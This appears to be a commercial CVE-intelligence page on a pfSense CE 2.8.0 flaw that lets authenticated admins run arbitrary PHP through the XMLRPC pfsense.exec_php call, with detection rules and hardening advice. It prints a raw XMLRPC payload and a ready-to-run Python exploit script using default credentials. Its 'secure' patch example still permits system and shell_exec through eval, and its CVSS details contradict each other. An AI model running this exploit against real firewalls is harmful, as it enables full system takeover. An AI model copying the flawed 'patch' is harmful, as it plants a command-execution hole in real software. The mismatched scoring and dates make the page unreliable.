☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Pfsense logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 🐛 CWE-284
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-69691

CVE-2025-69691 Code Execution in Pfsense
📅 PUBLISHED: 2026-05-08 07:16 UTC 🔄 UPDATED: 2026-10-15 23:32 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.68%
👁️
0.68% probability
16.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1548
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: USA License: Open Source
VULNERABLE: Pfsense
CVSS VECTOR BREAKDOWN 9.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: H Confidentiality High
I: H Integrity High
A: H Availability High
9.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-69691 is a critical vulnerability in Netgate pfSense CE version 2.8.0, specifically within the XMLRPC API. The flaw allows authenticated administrators to execute arbitrary PHP code via the pfsense.exec_php API call. While the supplier disputes this as a vulnerability—arguing that administrators are intentionally allowed to execute PHP code—the CVSS score of 9.9 reflects the severe impact of privilege escalation, lateral movement, and full system compromise if an attacker gains admin credentials. The vulnerability is unpatched as of the latest advisory, and no official patch is available. Given the high privileges required, the primary threat vector is through credential theft, social engineering, or insider threats.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a core feature of the pfSense CE firewall distribution. The risk lies in the default configuration allowing PHP execution via XMLRPC, which could be abused if admin credentials are compromised.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.9 (Critical)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: High (PR:H) – requires admin authentication
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)

Threat Level: Critical. Although exploitation requires admin privileges, the impact is total system compromise. Attackers can execute arbitrary PHP, leading to data exfiltration, malware deployment, or pivoting to internal networks.

Deep Dive & Mechanics

The vulnerability resides in the XMLRPC API endpoint of pfSense CE 2.8.0. The pfsense.exec_php method is designed to allow administrators to execute PHP code for legitimate administrative tasks. However, this functionality is exposed over the network without additional safeguards beyond authentication. An attacker with valid admin credentials can craft an XMLRPC request containing arbitrary PHP code, which the server executes with the privileges of the web server (typically www).

Key Mechanics:

  • The XMLRPC endpoint is typically accessible at /xmlrpc.php or similar.
  • The pfsense.exec_php method accepts a code parameter.
  • The server evaluates the PHP code using eval() or similar functions.
  • No input sanitization or sandboxing is applied.

Attack Scenario:

  1. Attacker obtains admin credentials (via phishing, brute force, or credential stuffing).
  2. Attacker sends a POST request to the XMLRPC endpoint with a payload like:
    <?xml version="1.0"?>
    <methodCall>
      <methodName>pfsense.exec_php</methodName>
      <params>
        <param>
          <value><string>system('id');</string></value>
        </param>
      </params>
    </methodCall>
    
  3. The server executes the PHP code and returns the output.

Vulnerable vs. Patched Code

Vulnerable Code (pfSense CE 2.8.0): The XMLRPC handler directly evaluates user-supplied PHP code without restrictions:

// In xmlrpc.php or similar
function pfsense_exec_php($params) {
    $code = $params[0];
    ob_start();
    eval($code);
    $output = ob_get_clean();
    return $output;
}

Patched Code (Hypothetical): A secure implementation would restrict the allowed functions or require additional authorization:

function pfsense_exec_php($params) {
    // Whitelist allowed functions
    $allowed_functions = ['exec', 'shell_exec', 'system'];
    $code = $params[0];
    // Parse and validate code
    if (!preg_match('/^(system|exec|shell_exec)\(/', $code)) {
        return new xmlrpcresp(0, 3, 'Function not allowed');
    }
    // Additional MFA check
    if (!validate_mfa()) {
        return new xmlrpcresp(0, 3, 'MFA required');
    }
    ob_start();
    eval($code);
    $output = ob_get_clean();
    return $output;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • pfSense CE 2.8.0 instance
  • Valid admin credentials (e.g., admin:pfsense)

Exploit Script (Python):

import requests
import xml.etree.ElementTree as ET

target = "http://192.168.1.1/xmlrpc.php"
username = "admin"
password = "pfsense"

# Build XMLRPC payload
def build_payload(php_code):
    root = ET.Element("methodCall")
    method_name = ET.SubElement(root, "methodName")
    method_name.text = "pfsense.exec_php"
    params = ET.SubElement(root, "params")
    param = ET.SubElement(params, "param")
    value = ET.SubElement(param, "value")
    string = ET.SubElement(value, "string")
    string.text = php_code
    return ET.tostring(root, encoding="unicode")

# Execute command
php_code = "system('id');"
payload = build_payload(php_code)
response = requests.post(target, data=payload, auth=(username, password))
print(response.text)

Expected Output:

<?xml version='1.0'?>
<methodResponse>
<params>
<param>
<value><string>uid=80(www) gid=80(www) groups=80(www)</string></value>
</param>
</params>
</methodResponse>

Blue Team (Detection & Hardening)

Detection Steps:

  1. Monitor XMLRPC endpoint access logs for unusual POST requests.
  2. Alert on pfsense.exec_php method calls from non-admin IPs.
  3. Implement rate limiting on the XMLRPC endpoint.

Hardening:

  • Disable XMLRPC if not needed: System > Advanced > Disable XMLRPC.
  • Restrict XMLRPC access to trusted IPs via firewall rules.
  • Enforce multi-factor authentication (MFA) for admin accounts.
  • Monitor for credential stuffing attempts.

Indicators of Compromise (IOCs)

Network IOCs:

  • POST requests to /xmlrpc.php with pfsense.exec_php in the body.
  • XML payloads containing system(), exec(), shell_exec(), or eval().
  • Outbound connections from pfSense to unknown IPs (C2).

File IOCs:

  • Unauthorized PHP files in /usr/local/www/ or /tmp/.
  • Modified /etc/inc/xmlrpc.inc or similar files.

Log IOCs:

  • system() calls in PHP error logs.
  • XMLRPC authentication logs showing repeated admin logins.

Detection Engineering

YARA Rule

rule CVE_2025_69691_XMLRPC_PHP_Exec {
    meta:
        description = "Detects XMLRPC requests attempting to exploit CVE-2025-69691"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69691"
    strings:
        $xml_method = "pfsense.exec_php"
        $php_func1 = "system("
        $php_func2 = "exec("
        $php_func3 = "shell_exec("
        $php_func4 = "eval("
    condition:
        $xml_method and any of ($php_func*)
}

Sigma Rule

title: CVE-2025-69691 XMLRPC PHP Execution
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects exploitation attempts of CVE-2025-69691 via XMLRPC
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/xmlrpc.php'
        cs-body|contains: 'pfsense.exec_php'
    condition: selection
falsepositives:
    - Legitimate admin usage (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-69691 XMLRPC PHP Execution Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/xmlrpc.php"; http_uri; content:"pfsense.exec_php"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable XMLRPC if not required: Navigate to System > Advanced > Disable XMLRPC.
  2. Restrict access to the XMLRPC endpoint via firewall rules (allow only trusted IPs).
  3. Enforce strong passwords and MFA for all admin accounts.
  4. Monitor logs for suspicious XMLRPC activity.

Long-Term Fix:

  • Apply vendor patch when available (currently UNKNOWN).
  • Consider upgrading to a version where XMLRPC is disabled by default or requires additional authorization.
  • Implement a Web Application Firewall (WAF) rule to block pfsense.exec_php requests.

Workaround:

  • Modify the XMLRPC handler to require a secondary token or IP whitelist.

Valters IT
DevSecOps & Cyber Threat Intelligence

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-69691/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.